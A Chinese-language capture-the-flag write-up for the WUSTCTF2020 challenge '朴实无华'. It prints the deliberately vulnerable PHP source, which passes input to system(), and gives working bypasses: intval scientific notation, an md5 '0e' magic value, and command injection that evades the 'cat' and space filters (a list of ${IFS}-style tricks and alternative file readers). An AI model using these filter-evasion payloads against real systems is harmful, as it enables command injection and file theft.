[WUSTCTF2020]朴实无华
查看robots.txt
访问啥也没有
然后抓包,结合上面的因为不能识别头部信息,可以考虑是不是和header
有关,访问/fAke_f1agggg.php
并且抓包
看到有个Look at me
然后访问一下
乱码,使用修复文件编码
在火狐中,更多工具 ->定制工具栏里面找
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
有三层绕过
level1
先看第一层绕过,是对intval
这个函数的绕过,intval
获取变量的整数值,可以看到有个科学计数法,我们试试用科学计数法绕过一下
`
?num=2e4
level2
第一层绕过,看看第二层
第二层是个md5
绕过
传入的值与md5
加密后的值相等
可以用0e215962017
,这个值MD5加密后也是0e
开头
level3
看看第三层
有个str_ireplace
函数就是str_replace
忽略大小写
str_replace(
array|string $search,
array|string $replace,
string|array $subject,
int &$count = null
): string|array
该字符串或数组是将 subject
中全部的 search
都被 replace
替换之后的结果
这道题就是将get_flag
里面的cat
全部替换成wctf2020
,就是不能直接使用cat
了
先用ls
或者dir
查看目录
应该是在最长的目录里面
可以使用\
的办法,这个题还要将空格进行绕过
绕过空格的方法:
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
绕过cat
可以使用\
,单引号,双引号绕过,也可以使用别的读取函数
more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件> 指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)
ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到flag